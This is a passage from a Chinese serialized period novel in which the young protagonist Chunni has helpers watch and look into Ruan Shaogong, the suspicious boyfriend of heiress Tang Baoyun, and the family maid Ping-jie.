春妮注意到,唐宝芸说话时,阮少恭虽然沉默,却绝不是没有存在感。他帮唐宝芸烫完杯,低声吩咐店伙上一盅甜汤。她落泪时温柔地拭去她的眼泪,她哭得情不能自己时,会揽住她的肩头,克制而温柔地在她耳边絮语,两句话便引得她破啼为笑。 唐宝芸很享受他的细心温柔,两人很快旁若无人说起了悄悄话。 春妮冷不防被秀了一脸,其实没什么感想。若是有可能,她更想把阮少恭的袖子撸起来好好再看一遍。 如果秦惠君的手并没有抖,可能她画的,就是阮少恭手臂上那个变了形的蝴蝶翅膀。 唐宝芸笑完,在阮少恭的暗示下,瞥到坐在一边装盆栽的春妮,不好意思了:“是不是冷落你了?” 春妮既然要扮知心小姐姐,自然是不能不满的,并表示了羡慕:“你们感情好像很好。阮先生这么优秀,你好好跟家里人沟通,说不定他们会同意呢?” 十四五岁的小姑娘天真起来,这张还长着婴儿肥的脸最有说服力,完全不需要太多的演技。 说起这个,唐宝芸脸上完全失去了笑容:“别提啦,我跟爸爸在电话里大吵了一架,要不是我有表哥讲情,现在已经被抓回了海城,都不知道以后要怎么办。” 春妮建议道:“那你在你爸爸面前多夸夸阮先生啊。对了,阮先生读什么的?现在做什么?” 阮少恭道:“以前在南城大学读的文学,现在不过是在财务公司做些杂务。” “那你们的主课是什么?教授是谁?他现在去了哪?” “我们是王基石教授,教的是古代文学。学校在城破的那一天,大家都四散逃了,我也不知道他们去了哪。” “哦?古代文学?都学了什么?”春妮兴致勃勃,似乎没意识到,她这样的问话像是盘问。 阮少恭答得有条有理,似乎也没有意识到,春妮是在查他的户口。 唐宝芸听得也十分入神,这两个月中,她跟阮少恭忙着谈情说爱,并没有就学业上的事探讨多少,听见男朋友答得有条有理,觉得十分长脸,望着他的眼神,温柔得几乎能滴出水来。 春妮叫来店老板:“上一份蛋挞,一份红豆冰,你们要什么?” “呃——”突然从文学跳到蛋挞,让两位文艺青年有些不适应。 蛋挞端上桌时还冒着热气,春妮拿起一只咬下去,酥脆滑软的口感令她愉悦地眯起了眼睛。 “你们不吃吗?这里的蛋挞很好吃的。” 唐宝芸眼神嫌弃:“这些冰干不干净的?” 阮少恭歉道:“对不住,宝芸不喜欢吃外食。顾小姐自己吃吧。” 大小姐有些大小姐的脾气很正常,春妮完全没当个事。她好奇地问:“那你们在一起吃什么?” 唐宝芸就幸福地道:“少恭带我去吃西餐,他对我很好的。”她拿起一只蛋挞:“少恭,你不用每次都迁就我,我也不是不能吃这种东西。” 春妮:“……”你说的这种东西,要是放到海城华界,是会抢出人命的。 阮少恭坚决推开她的手:“你跟我在一起,原本就是受了苦。我怎么好让你跟我再去吃那些街边食物?想吃蛋挞的话,港岛西餐里的葡国人蛋挞烤得很不错,我们一会儿去尝尝。” 春妮正想再说点什么,冰室的门外一个人走过去,但他很快返转回来,并快步走了进来。 曹明彰?他怎么会找到这里来? 春妮顿时大感不妙。 “宝芸,你怎么又跟他在一起?”曹明彰冲进来,指着阮少恭骂道:“喂,穷鬼,你不准总缠着——” 春妮心里叹气:哎呀,少年,你这个台词,太有反派风范了吧?都不用排练的。 赶在唐宝芸发飙前,春妮忙站起来,跟他打了声招呼:“明彰,是我约宝芸来饮冰的。” 曹明彰这才看到春妮:“密斯顾,你怎么在这?你知道这人是谁吗?” 春妮道:“我怎么不知道?宝芸都说了。阮先生觉得跟她不合适,两人正在商量分手的事。” 曹明彰哼了一声:“小子,算你识相。” 春妮:“……”反派归反派,能不能说点有创意的台词? 唐宝芸瞠目道:“我什么——” 春妮拍掉手上的蛋挞渣,起身推她:“行了,我知道你们俩要分手有话说,先走吧你们。”她拦住想跟过去的曹明彰:“明彰,我们好久不见了,你不想跟我聊聊吗?” 这下,连唐宝芸都看出春妮有心在帮他们,向她投过一个感激的眼神,拉着阮少恭快步离开了冰室。 曹明彰被拦在角落里,无法突破春妮的防守,气咻咻地坐下问她:“说,你到底是哪边的?” “我哪边都不是。”春妮道:“忠告你一句,你要是再这样下去,这辈子都不会跟宝芸再有可能了。” “你乱说些什么?”曹明彰到底是个未满十八的高中生,突然被人揭开心里的事,不免有些不自在,忽然觉得不对:“不对,宝芸为什么肯跟你说这些事?你到底知道些什么?” 春妮三言两语将事情的经过说了,最后道:“你要想跟宝芸好,就别总跟她拧着。指着她的心上人大吼大叫搞针对,那是小孩子才干的事。” “可你不知道那个姓阮的,他不是个好东西!”曹明彰还没死心,伸着脖子往门口张望。 春妮放下蛋挞:“哦?他怎么不是个好东西了?你跟我仔细说说。” 第153章 153 谋生 曹明彰比春妮早两个星期到的港城。 他告诉春妮, 在唐宝芸之前,这个叫阮少恭的家伙至少跟两三个以上的女性保持着暧昧关系,听说还有一名港大教授的女儿跟唐宝芸一样, 死活要嫁给他。为此曾在家里绝食要胁, 最后被她父亲送到国外留学去了。 曹明彰揪住这点痛批不已: “如果他规规矩矩的,什么事都没做,怎么会引得别人女儿为他要生要死?” 春妮:“……”有点想跟这家伙拆伙了。就这个思想觉悟,难怪争不赢一个来历不明的穷小子。 “照你这个意思,所有被男人纠缠的女人都不是好东西了。毕竟女孩子要是没做什么,怎么会引得男孩子缠着她不放?” 曹明彰怒道:“你什么意思?我说你到底跟谁一边的?” 奈何这件事上,目前身边可用的也就只有一个曹明彰, 春妮只好耐点心点拨他:“你还不明白吗?重点不在阮少恭的男女关系上。他怎么跟那些女孩子相处,我们外人哪里知道?就算宝芸问起来, 他也有一千种理由应付。想必这一点上,宝芸还会跟他有不少共同话题。” 被春妮暗讽一句,曹明彰总算老实下来:“那你有什么主意?” “阮少恭的同事朋友,你都查过了吗?” “都查过了, 他公司今年四月才注册,是个小财务公司。他的同事经常在外面跑业务, 很难见到,我查到有一个是港岛本地人……” “我不是叫你查这个。你要查就查,他的亲近朋友和同事有没有做过不法之事, 履历是否有过造假,还有家庭……还有阮少恭, 他平时喜好是什么,经常去哪里,平时都跟什么人接触, 最好全部调查清楚,真正的坏人不可能一直演下去。” 就像她渣爹那样,段位再高,也有翻船的时候。春妮也想不明白,明明六岁那年,她和她亲妈都用了这么现实的例子警示了秦惠君,她为什么不跑?难道有个男人就这么重要? 春妮三言两语给曹明彰指明了方向,他点头答应下来:“好,给我几天时间。” “那这几天,你别天天在宝芸身边转悠,也别总是追在她身后查她的行踪。” “为什么?” “你说为什么?你老是说她男朋友的坏话,这不是在变相瞧不起她的眼光?宝芸那么骄傲的女孩子,到现在没跟你翻脸,已经是看在你们是旧识的份上。难道真要等到闹得不可开交,她撵你你才走?” “不行不行,我不跟在她身边,这几天出了事怎么办?”曹明彰怎么说也不同意这一点。 春妮想想,这个年代大多数的家庭都很保守。曹明彰怕唐宝芸被骗财骗色,贻误终身也很正常。 “那你就尽量缩短这个调查周期,也别总是你一个人到处忙活。宝芸的家人,还有她表哥什么的,肯定也不愿意看见她跟一个穷小子在一起吧?他们总要帮点忙吧。在这期间,我会想 办法跟着她,这你总放心了吧?” 曹明彰这才勉强同意:“那你一定要跟紧一点,我先走了。” 不用曹明彰叮嘱,春妮也会紧紧盯着阮少恭。 曹明彰离开后,春妮也没心思吃冰了,她叫来王国柱,让他帮忙先查了查阮少恭的公司。 他家族在港城有好几个兄弟,春妮给了他一点钱当调查资金,到晚上睡觉之前,王国柱已经将初步的结果告诉给了春妮。 公司的主人王建利是羊城人,发迹之前混过很长一段时间的三虎地,靠给人押船当打手起家,还有些说不清的生意。四月份港城出了新规之后,他让人在第八楼注册了一个小公司,给名下的产业报税,阮少恭就是他请的会计。 春妮又给了他一些钱,让他顺着王建利在三虎地的关系查下去。 虽说曹明彰也在查阮少恭,但他是海城人,在这边没什么根基。要查这些有黑底子的小公司,还得同样背景复杂的底层人物出手。 春妮问过唐宝芸的姑妈家,得知她姑父也只是港大的一名教授,他们位于半山的别墅都是用姑妈的嫁妆拿下来的,便知道,想指望他们去查,也是指望不住的。 第二天上午,春妮先去了八楼的那间小公司,他们整间公司里,还是只有阮少恭在值班。她问起唐宝芸,阮少恭道:“我也是跟宝芸几天才见得到一次面,她来找我,我才能跟她见见面。你问我,我也不知道。” 最后,春妮是打了曹明彰的电话,问明白唐宝芸姑妈家的地址,在她半山居处的小花园里找到的她。 唐宝芸表哥家姓赵,住着山上一栋立罗马柱的欧式大房子。春妮去时,从山脚走到山中就花了近一个钟头。 这里的富人区几乎有八成都是战争开始后从海城逃到港城的名流富贾,秦伟说过,革命那会儿,唐家祖父正是海城及东南沿海地区的督抚大员。革命之后,虽然唐家祖父被驱逐下野,但因为识时务,交权配合,家族得以完整的保留。 而唐家二代子孙们凭借父亲在海城的人脉和经营,迅速做起了实业商人。唐家祖父死之前,唐家的几个儿子几乎把持了海城交通运输业的半壁江山。唐家的二儿子还曾做过财务次长,唐宝芸的父亲行四,倒是没听说有什么大的建树。 不过唐家巨富在整个华国都是有名的,据说唐家祖父死后,光是继承遗产,就专门请的美国律师行入驻唐家大宅,核算了三个月之久。这样的家底,哪怕唐四爷当一辈子富贵闲人,也绝对够潇洒一辈子。 生在这样的家庭,唐宝芸唯一的不顺利,可能就是自己选择的爱人不被家人看好吧。 春妮去时,唐宝芸正在发脾气:“一个个地总把我当小孩子,你们有谁好好认识过少恭?不了解他,就把他想得这么坏。到底是你们对他有偏见,还是我幼稚?” “宝芸,你朋友来了。”领她进门的唐宝芸表哥尴尬地咳了咳。 唐宝芸扭头过来,看见春妮,脸色红了红,拨开两人跑了出去。 “对不住,宝芸她以前不这样的。”唐宝芸表哥戴着金框眼镜,一脸无奈。 春妮摆摆手,她能来就预料到要跟大小姐的小脾气作伴。唐宝芸倒也没跑远,两人在仆欧的指引下,在二楼的茶室找到的她。 两人进门时,唐宝芸正趴在茶桌上嘤嘤的哭。 赵表哥头疼地揉了揉额头。 春妮善体人意地道:“你先忙去吧,我跟宝芸说话就好了。” 春妮没有哄小女孩的经验,她其实很难理解唐宝芸的痛苦。她的世界里,每天睁开眼,满世界都是求生求活的底层难民,是不容许有少女哀思这样情绪化的思绪存在的。好在茶室里有咖啡和咖啡机,她将咖啡豆倒进手摇机器里现磨,给自己煮了一壶咖啡。 浓香醇郁的咖啡香味占领茶室的所有空间时,唐宝芸终于哭不下去了:“喂,你怎么不说话?” 春妮不疾不徐地倒满一杯咖啡:“加糖还是加奶?” 唐宝芸噘了噘嘴:“都要,要两份糖。” 春妮在她旁边坐下:“我理解你很想跟阮先生在一起。但婚姻大事,这不是你想多吃一块糖,哭一哭闹一闹就能决定的事。” 唐宝芸这会儿知道羞了,用帕子捂住脸:“哎呀,你又来笑我,人家是真的很烦心好不好。” 春妮道:“你有没有想过,就算你跟阮先生真的在一起,以后要过什么生活?” 唐宝芸显然幻想过很多次:“我想过啊。以后他去美国完成学业,我跟着他一起去,等他毕业了——” “停,停,停!你说的这种生活,都要以有钱为前提,假如没有钱呢?” 唐宝芸:“怎么会没有钱呢?我结婚有嫁妆,可以跟我姑母一样,支持姑父一直攻读学业,直到少恭博士毕业。” 原来是有家族榜样啊。 春妮用“你在做梦”的眼神看她:“你姑父姑母的婚事得到了你祖父的同意吧?可你爸爸不是没同意你跟阮先生的事吗?” 唐宝芸不满道:“他就是封建,比爷爷还封建。” “你还没回答我。”春妮正回话题。 “这……到时候再看嘛,总会有办法的。少恭不也是这么过过来的吗?” 少女的盲目乐观让人头大。 春妮叹了口气:“这可不是想当然的事。你没过过那种日子,怎么知道你也行?” “那我能怎么办?我知道了,你也看扁我,想让我跟少恭分开!”唐宝芸激动起来。 春妮举手:“别喊了,我又不是你爹,你跟阮先生怎样,跟我有什么关系?对我有一分半分的好处没有?我是看在你是我朋友的份上,让你好好考虑清楚,你能不能陪阮先生过苦日子。” “我肯定可以。” “你说可以没有用啊,你又没有过过普通人的生活。” “那你说怎么办?” 春妮等的就是她这句话:“我想过了,你要是跟阮先生在一起,他肯定养不起你,你首先得养得起自己。从明天起,你到我公司来,学学怎么谋生吧。” 唐宝芸的眼睛亮了:“你,你真的让我跟你去公司?” 春妮一看她的表情,就知道她在打什么主意:无非是想着,跟她去了丰海大厦,就可以经常见到阮少恭了。 春妮也不戳穿她,道:“你去我公司可以,但先得声明,你必须得听我的,不许耍小姐脾气——” 春妮还没说完,唐宝芸已经迫不及待地答应下来:“没问题,我都听你的。” 接下来,春妮又跟她说了几条注意之处,唐宝芸“嗯嗯嗯”照单全收。两人说了这会儿话,时间很快到了中午,她谢绝唐宝芸共进午餐的邀请,推说自己有事,向她提出了告辞。 唐宝芸将她送到门口,刚出门就开始猛扇扇子:“真讨厌,怎么又热起来了?平姐你回来啦?正好,你来帮我送送顾小姐。” “顾小姐,请跟我来吧。” 春妮对平姐点了点头,认出来这就是她跟唐宝芸第一次在太古的特快专轮上认识时,她带上船的那位娘姨。 不过…… 春妮看了一眼走在前面领路的平姐,疑惑地拧起了眉头:这个平姐,她是不是还在哪见过啊? 第154章 154 规律 唐宝芸虽然生理年龄比春妮大三岁, 但她生命里短暂的前十八年过得太顺利了,还是个完完全全的小女孩。 她那点小心思摆在脸上,春妮看一眼, 不止知 道她想干什么, 连她打算怎么干都知道了。 因此,唐宝芸第二天上午一到丰海大厦,春妮从那群寄居在仓库的小姑娘中派了个叫红妹的小女孩,给她一天半块钱,叫她寸步不离跟住她。并告诉红妹,如果看不住,就扣她工钱。 红妹是孝姑那群女孩子中年纪最小的那个, 小到慈姑她们卖份饭都不叫她的程度。 小姑娘得这份工不容易,春妮说叫跟着唐宝芸, 她就寸步不离地跟着,连唐宝芸去茅厕,她都要站在茅厕外头把守。 唐宝芸被盯得寸步无法挪动,意识到自己上了春妮的当, 跑来质问她。 春妮顺理成章道:“你不是说要过普通人的生活吗?你看我们这些普通人职员,谁敢在上班时溜号, 跑去干自己的私事?” 唐宝芸被堵得没话可说:“那也不是派个人像对付犯人那样,走到哪跟到哪,我爸都没这样看管过我。” 的确不能把大小姐逼紧了, 多少得给点甜头,免得她一气之下真不来了。于是她说道:“我们这里中午有休息时间, 你可以中午休息时去找阮先生。” “那休息多长时间?” “一个钟头。”见唐宝芸又拉长了脸,又道:“看在我们交情的份上,我可以给你多宽限些时间, 一个半钟头吧,不能再多了。” 唐宝芸虽仍有不满,到底同意了下来。 小姑娘好对付得很,总觉得比别人多了半个钟头,是拣了多大的便宜,她却忘了,身边还有个无处不在的红妹。 红妹可不是公司小妹,只要唐宝芸在这里,她就要负责贴身跟着她。 于是到了中午,唐宝芸立刻发现,比起以前,她跟男朋友先生想要好好谈个恋爱,难了好多。俩人想拉手摸脸,有个小姑娘在旁边,谁摸得下去?头挨得近一点,红妹就凑近他们,睁着个大眼睛,直不愣登看着他们,什么气氛都给破坏没了。 她又找春妮发脾气,春妮很不解地问她:“我又没拦着你跟阮先生独处,你当红妹不存在就是了,这有什么好生气的?还是说……”她故意拖长声音:“你跟阮先生有什么不能让人看见的事要干?” 唐宝芸被臊了个大红脸,怒道:“我有什么事要干跟你有什么关系?你再这样,我明天真的不来了。” “我来之前,赵太太是不是禁了你的足?” 唐宝芸眼神顿时闪烁:“你,你怎么——” 春妮道:“你以为我为什么能轻易让你出赵太太家的门,是因为我在你表哥面前打了包票。我要是不找个人看着你,你表哥他们肯定不放心,分分钟你就真不能出门了。” 昨天春妮跟赵表哥找到唐宝芸之前,对她这事交换过一些意见。表妹在赵家出了这样的事,作为亲戚,本来就不好拿捏管教的程度,现在春妮愿意接过去试试,赵表哥在朋友圈里问过她的为人,很快答应了下来。 至于春妮让他们配合干的事又不为难,再没有不答应的份。 唐宝芸只能吃了一肚子的气回去了。 出师不利,再而衰,三而竭。 唐宝芸见识到春妮的厉害,不敢再在她面前耍脾气,又不甘像犯人一样被看起来,在男朋友先生无意的提示下,主意打到了红妹头上。 她给了红妹两毛钱,原本想支开红妹,红妹说,自己的活就是看着她,要是她不在身边,顾老师就会让她回去,换其他会干活的姐妹过来。唐宝芸又跟她商量,让她站远一些,别每次她说了什么,转头全报告给了顾老师。红妹跟唐宝芸谈好,一天她另外付红妹五毛钱,答应了她。 至此,唐宝芸和男朋友先生不得不接受,无论他们干什么,身边都会有个小尾巴跟着的事实了。 唐宝芸不知道,她做了什么事,给了多少钱,去了什么地方,头一天下午她一回家,红妹只字不漏,转头全报给了春妮。 而在她这一天到公司之前,春妮先召集来李铁柱几个骨干,开了个小会。 “手头上没有要紧的事吧?没有?好,现在都跟我去做一件事。利发财务公司知道吧?这有个名单,是他们公司所有人的名单,你们分头去三虎地查,这些人以前都是干什么的。尤其是,”她取出一张纸:“身上纹有这个图形的人,重点关注一下。” “哇,大佬这个口吻,是不是又有大事要做?”学生们听出了不寻常,激动起来。 这些学生们这几天对付港城那些小混混,连称呼她的口癖都改了。 见过血的小鲨鱼们,到底跟以前不一样了。 “大什么大,大你个头啊!”春妮一个一个拍他们脑袋:“一天到晚净想着出事,以为出事这么好玩的?” 训完学生,春妮拿出最后一张纸展开:“还有,这张画上的女人,你们记得到人多的地方打听一下,问问有没有谁见过她。” “这谁啊?顾老师,这是你画的?”不做事的时候,蒋四成是很搞怪的,看清纸上画的东西,顿时露出一言难尽的神色。 春妮:“……”虽然我没怎么学过画画,但自认还是抓住了人物一些神髓的,你们这个样子,真的不是故意在找打? “去去去,赶紧的,快点给我滚。”春妮眼不见心不烦,一挥手都撵了出去:“晚上——” “六点钟之前必须回来!大佬,你这句话,我们都背熟了。”小混蛋们接口,在春妮追打过来之前,勾肩搭背跑出了门。 说归说,这些学生们跟她历练过这么多回,她对他们,比她对唐宝芸还放心。 不过,晚上红妹回来时,春妮觉得,她对唐宝芸可能还可以多放点心。 “阮先生有好几次暗示唐小姐甩掉我,唐小姐骂了我几句,但没有真的赶我走。” 春妮让红妹把钱收着,自己攒起来,听她有板有眼地评价唐宝芸:“总算唐小姐还没傻到家。” 红妹小小年纪差点被人卖到国外做妓|女,经历过的事唐宝芸一辈子都想不到。据说就是因为她年纪小,长得又瘦脱了相,人蛇怕她关在笼子里闷死了,放她出笼子透了口气,结果让她引来了王国柱。 由这样一个小姑娘盯着唐宝芸,春妮也是放心的。 ………… 有红妹,李铁柱,王国柱,曹明彰等几处人马盯着,关于阮少恭的各类消息,在几天之内源源不绝向春妮汇总过来。 曹明彰找了个私人侦探盯梢阮少恭,发现他的生活很规律。跟唐宝芸在一起后,似乎也很少再去参加青年男女汇集的读书会等活动,每天规规矩矩地上班下班,偶尔去家门口不远的小酒馆喝一杯,吃个夜宵,生活规律得不得了。 “简直比模范青年还模范青年。”曹明彰一拳砸在桌子上:“我就不信,他的生活真的这么无可挑剔。” 春妮想起,李铁柱他们说的,除了阮少恭,他公司里的其他同事都只在那里挂名,一般都是在三虎地的运货船上负责运货谈生意。 那么,在这样一群人中工作,唯一的正常人阮少恭,他真的那么正常吗? 这段时间,春妮跟曹明彰几乎每天都会见面。因为公司有唐宝芸不方便,春妮便叫他下班后直接到她住处来找她。 曹明彰越说越气,转身站起来:“不行,我必须去一趟赵家宅子。” 这一转身不打紧,他眼角余光看到了一个人:“哎你,那个小姑娘,就是你,跟着唐小姐的那个,给我进来!” 红妹被捉个正着,只好慢吞吞走过来:“曹少爷,你叫我干什么?” 曹明彰看了眼春妮,狐疑道:“我问你,刚刚见到我躲什么?” “我,我没躲你,曹少爷,你看错了。”红妹勉强说道。 曹明彰神情那一瞬间变得异常愤怒,抄手砸出一样东西:“你躲没躲我,我看不出来?好哇,什么时候轮到你这个小丫头片子来骗我!” 春妮正要说话,曹明彰这会儿变得特别精明,背后长了眼睛似的:“顾小姐,要是我发现,你有什么事瞒着我,我就告诉宝芸,你跟我都在背着她查她男朋友,这个小丫头每天都跟你传她 的私话。” 春妮:“……”王国柱租的房子没有一点私密性,上次也是她跟红妹说话时,曹明彰走过来听了个正着,这会儿这点事竟成了他的把柄。 她只好对红妹点了点头:“曹少爷是自己人,没关系的,你说吧。” “那,我说了曹少爷你千万别发脾气啊,”红妹站得远远的,害怕道:“我是听见,阮先生约唐小姐明天提早下班,之后去西贡码头玩。” “哈,还说他没有鬼心眼?西贡码头那么偏那么乱,他约宝芸去那边,肯定没好事。”曹明彰像捉住了阮少恭什么痛脚似的,神经质般大笑起来。 红妹迅速低下头去。 笑完他总算想起来问:“唐小姐没答应吧?” 红妹不敢说话。 曹明彰暴怒,像是想抄起什么东西往下砸。但春妮这就一张破竹桌子,他气急败坏,欺上前问:“她答应了?她怎么可能答应?” 红妹道:“阮先生告诉唐小姐,在西贡码头的渔船上,可以看到港城每天最后一道夕阳,唐小姐就答应了。” 曹明彰不可置信:“这么一个荒唐的理由,宝芸怎么会答应?”说完,他往外走去。 春妮怕他冲动坏事,急忙拦住他:“你干什么去?” “我这就去西贡码头订一条船。我倒要看看,西贡码头的夕阳跟别处有什么不一样。” 春妮松了口气:“你订一条大点的船,我明天跟你一起去。”现在已经到了傍晚,今天是看不到夕阳了。 正好她也想看看阮少恭胡芦里在卖什么药,跟曹明彰一起,订船的钱也省了。 就算阮少恭真像她猜测的那样,曹明彰即使跟过去,也不会有什么身体上的危险,最多她叫人多看着他一些。 第155章 155 消息 阮少恭约唐宝芸去的西贡码头, 在四五百年前,曾经是朝廷官船下西洋之时必经的港口。然而自从格罗妮海港建成之后,西贡码头很少再有大船停靠。日复一日, 到这个年代, 原先的码头已经很荒凉了,百年前沿码头而设的集市,到如今只剩下几截朽黑的木头证明着它昔日的繁华。 听本地人说,那里近海到处都是布满碎石的滩涂,平时除了近海洋面上偶然经过的捕渔船只,鸟雀不生。 春妮让蒋四成跟着曹明彰跑腿(监视他),两人第二天早早在滩涂租了条破渔船, 放到岩石中藏好。到下午五六点钟左右,一对粘粘糊糊的小鸳鸯果然如期而至。 后面稍远一些, 还跟着红妹。而此时,春妮他们已经先一步藏进了小破船中。 看到红妹,春妮有一瞬间的诧异,这两个小情侣居然没把她甩掉, 好单独行动。 从船舱的角度众人看过去,这就是一对想避开众人谈恋爱的普通男女。他们在海滩上打闹了一会儿, 追逐着开始攀爬海滩上唯一的一处礁岩。 在爬到最高处时,阮少恭忽然笑着在唐宝芸面颊上轻吻一下,唐宝芸害羞地捂住了小脸。 春妮眼明手快, 一把捣住曹明彰的嘴,警告道:“你敢乱喊乱叫, 我马上把你扔海里去。” 曹明彰脸色涨得紫红,拼死扭动着,在她臂间挣扎。 春妮对李铁柱他们使了个眼色, 几个小子扑上去,一个抱头,四个抱手压腿,将曹明彰压在身下。 春妮这才抽出身来去看那两人。 那两人已经登到海滩礁岩上的最高点,唐宝芸靠在阮少恭肩上,让阮少恭手上拿着一个——望远镜! “阮少恭哪来的望远镜?”春妮让李铁柱下了点重手,曹明彰总算老实了下来。 这个年代的望远镜可是军事管制用品,除了内地有少量工厂自产,其他全部都从欧洲进口,比枪支都难获得。尤其港城位于华国的最南端,这里并不是战场,望远镜更是流通得极少。 阮少恭一个普通人,从哪—— “那不是赵教授家里的望远镜?”曹明彰的重点跟春妮的完全南辕北辙:“宝芸连赵教授的爱物都偷出来送给了这小白脸?太过分了。” 这家伙实在太聒噪,春妮让李铁柱打了他脖子一拳,这家伙总算晕了过去。 用望远镜看风景的人不知道,他们也成了别人望远镜中的风景。 春妮用自己的望远镜看了一会儿,只看出这两个小情侣越搂越紧,越搂越紧,两个人几乎快要粘在一起。除此之外,真没什么特别的。倒是他们所在的这处避风湾潮湿闷热,正好这会儿没有海风,蚊子进进出出,每个人都被咬了一身的包,在疯狂给彼此涂清凉油。 阮少恭看的方向春妮也看过了,海面上一片空茫,除了个下坠到一半的太阳,没有半分异常。 时间渐渐挪到晚上七点多钟快八点,这时太阳已经完全沉了下去,蓝黑色的海浪扑击在岩石上,打出堆叠的浪花。 月牙儿在天幕上挂出一条线,望远镜里,那两人的动作已经看不太清了。只依稀看得出,两人依然抱在一起。要是曹明彰还醒着,说不定这会儿已经出事了。 “这小子到底想干什么啊?”吹了半个下午加晚上的海风,再是火车壮的小伙子们也顶不太住了。 “别出声!” 春妮的望远镜中,阮少恭终于动了起来,他从随身的提袋中取出一样东西,交到唐宝芸手上。 然后,“咻”地一声,一枚五颜六色的烟花升上了天空。 “有没搞错,我们在这里喂蚊子,他坐在那边吹海风哄女人玩烟花,真会玩。”这些毛头小子们已经掩饰不住自己的羡慕嫉妒恨了。 好在烟花放完之后没多久,这两个小情侣总算腻歪完毕,开始登下礁岩往回走。红妹略落后一步,走在他们身后。 直觉中,春妮认为接下来不会再有什么事,但还是挑了两个敏捷机灵的学生,让他们跟了上去。 两人离开后,春妮登上他们坐过的那块礁岩,打开望远镜的夜视功能看了半天。除了视线极处黑影般蜇伏在海水中的数点小岛,仍然是一无所获。 可冥冥中,她总感觉,好像有什么事发生了。 她挥了挥手,曹明彰被一捧水浇醒来。 “我杀了那对狗男女!”他跳起来,来不及跟春妮算帐,跳上了岸。 反正这会儿那对小鸳鸯已经走远,他不可能追上干出什么事,春妮也就由着他疯跑一阵子,跳上汽车扬长而去。 “大佬,你不怕他追到赵家去啊?”蒋四成有些担心。 “他愿意追就追去呗。”春妮无所谓地道:“反正我们只要确保唐小姐不在我们视线内出事就行了。曹少爷这么大的人,该干什么不该干什么,还用我们教?” “他这么冲动,大佬你不怕他把我们抖出来?” 春妮没答他。 阮少恭今天的行动让她有些摸不着底,若说他是单纯来跟唐宝芸谈恋爱,或是单纯来骗财骗人,春妮都有办法对付他,可他两者都像,但又似乎两者都不是,那他到底是来干什么的? 让曹明彰去闹一场,搅搅浑水也好。春妮想。 西贡看夕阳之后的头一天,唐宝芸没有去公司上班。 想来也是,头一天晚上回去这么晚,曹明彰盛怒之下追过去,必然不会替她遮掩。赵家人要是知道唐宝芸背着他们又跟阮少恭出去玩,肯定不会再纵容她,再袖手旁观。 春妮给赵家宅子挂了个电话,从接电话的赵表哥语气上看,他似乎不知道昨晚发生了什么事,只告诉春妮,唐宝芸昨晚吹了凉风生了病,在家里吃药静养。 春妮当即表示,自己想到赵家探病,跟赵表哥约了一个时间。 离开公司之前,一早被春妮派出去打探消息的蒋四成跑了回来,手里拎着她的那张简笔画:“大佬,我帮你打听到了一点消息。” “你这张画上的女人,有人说,有些像这些日子在格罗妮海港上出现过的一个女货主。” “货主?”春妮若有所思。她这张画 上画的自然是平姐,但一个在海城豪族做女佣的女人怎么会跟格罗妮海港上的女货主有关系? “知道她带的什么货吗?” 蒋四成摇头:“还没查出来。我问的那人说,这位女货主很神秘,几乎不跟船上的人来往。要不是有人前几天见过她,我也不能那么凑巧,就找到了认识她的人。哦对了,她几乎只搭英商太古的货轮,那些船主们都说,像舍得花钱坐英国人蒸汽船的,肯定运的东西都不便宜,全是俏货。” 蒋四成的叙述让春妮心中生出了另一种熟悉感,那种熟悉感就好像他说的那种场景,被丢在了她记忆的某个角落。 在哪呢?春妮苦苦思索着。 “顾老师,咱们还去不去?”许久没见她出门,红妹又回来催她了。 她跟赵表哥打电话时,红妹因为唐宝芸没来公司,生怕这一天结不到工钱,一直跟屁虫似地跟在她身边。听说唐宝芸病了,她立刻表示自己也想去探望。 “你再多问几个人,像我们熟悉的运货的易老板,还有几个常跑海运的供应商,也都去打听打听。”既然有了明确的方向,再查起来就容易多了。 其实最好的办法是悄悄跟着平姐,但赵家住的位置实在是太偏了。那地方只有一条供汽车通行的直道,连电车都不通。 春妮带着红妹去翻越半座山敲响赵家大门时,赵太太都吃完午饭,坐着汽车正准备出门了。 又是赵表哥负责招待她们,给她们引路时,春妮跟他闲谈:“怎么赵太太这么早就出门打麻将了?” 上回来时,春妮通过仆佣得知,赵太太一班到下午三四点会出门找姐妹打牌,现在还不到时间。 赵表哥应该随父,是个典型的文质彬彬的君子,闻言他没多想:“哪里,是家里的生意有点事,我妈要去处理一下。” 没听唐宝芸说,赵太太在经营什么生意啊。她倒是说过,赵太太以前在海城喜欢逛街,到港城后,因为没地方可去,结识了几个牌友之后,现在天天泡在牌桌上,除了吃饭睡觉,几乎不下桌。 “哦?怎么回事?严不严重?”春妮立刻关切道。 “这我也不是很清楚。应该不是很严重吧,我妈说只是货物浸了些水,她得另外寻找买家。” “对了,昨天曹少爷有没有来你们家?” 赵表哥脸上有些不自在:“怎么会想起来问这些?” 春妮心里有了数,顾宝芸定是昨天被曹明彰追到家里戳破了西贡码头的事,脸上挂不住,索性装病窝在家里躲起了羞。 这个年代的青年男女虽然比以前热情大方,但被人看到女孩子跟男孩子在露天中做出过于亲密的动作,还是会受到异样的眼光的。 “我昨天碰到他,看他好像很生气的样子,说要到赵家来找宝芸。你知道是什么事吗?” “表妹的事我不是很清楚。到了,顾小姐请吧,我就不进去了。”赵表哥为她打开了唐宝芸的房门,逃也似地走开了。 第156章 156 动手 跟春妮猜测得差不多, 唐宝芸根本没病。 她窝在被窝里,哼哼唧唧跟春妮说自己头疼要请假。春妮也不追问她,幸好曹明彰还有点脑子, 没把她给卖了。 她问唐宝芸:“那要不要我跟阮先生说一声, 好别让他担心。” 先前唐宝芸跟春妮说过,赵家人听了她爸爸的话,阮少恭打一次电话,接电话的下人骂一次,后来阮少恭就不愿意来打了。利发公司又没有电话,唐宝芸想男朋友了,只能找各种借口出门, 再偷跑过来跟他私会。 “当然要,你等我给你写张便条带给他。”唐宝芸立刻坐了起来。 “对了, 今天我来怎么没看到平姐?”唐宝芸写信时,春妮仿若不经意地问。 “我哪知道。”唐宝芸有些不高兴地道: “她被我姑妈叫去做事,我好长时间没看到她了。” 春妮笑:“你姑妈肯定怕平姐向着你,坏她的事。” 唐宝芸道:“这倒不至于。每回平姐来港城, 姑妈总是叫她去做这做那,一整个夏天, 我身边时常一个可用的人都没有。” “我看你姑妈家下人也不少,怎么总会叫平姐去做事?” “你不知道,平姐不止是我们家工人这么简单。她年轻时, 据说家里也是大家,后来落了难, 叫我姑妈收留在了我们家。后来我姑妈嫁人还想带她去赵家,可我姑父要到港城读博士,平姐不愿意离开海城, 才留在了家里照顾我。”唐宝芸不在意地道。 ………… 